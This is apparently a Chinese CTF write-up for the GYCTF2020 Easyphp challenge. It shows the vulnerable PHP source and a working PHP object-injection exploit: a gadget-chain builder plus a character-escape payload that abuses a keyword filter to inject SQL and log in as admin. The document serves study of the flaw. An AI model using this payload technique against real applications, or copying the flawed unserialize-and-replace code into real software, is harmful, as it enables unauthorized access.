[GYCTF2020]Easyphp
[GYCTF2020]Easyphp
知识点
反序列化 、字符逃逸
解题
审代码
<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname))); //反序列化传入头->Info::unserialize}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age); //->Info::__callreturn "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]); //->dbCtrl::update($sql)}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo); //开始反序列化$upDate=new dbCtrl();}public function __destruct() // -开始头->User::__toString{echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>
所以初步构造链子:
<?php
class User
{public $age=null;public $nickname=null;public function __construct(){$this->nickname = new Info;$this->age = 'select id,passwd from user where username=?';}
}class Info{public function __construct(){$this->CtrlCase = new dbCtrl;}}
Class UpdateHelper{public $sql;public function __construct(){$this->sql = new User;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name = "admin";public $password = '1';
}$o = new UpdateHelper;
echo serialize($o);
然后经过字符逃逸
就是利用字符被替换的长度来进行逃逸,我们构造出来为:
age=1&nickname=1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
反序列化为
O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:343:"1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}";s:8:"CtrlCase";N;}
总共有343个字符,多加几个union
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
传入,
然后admin登录,密码随便,得到flag。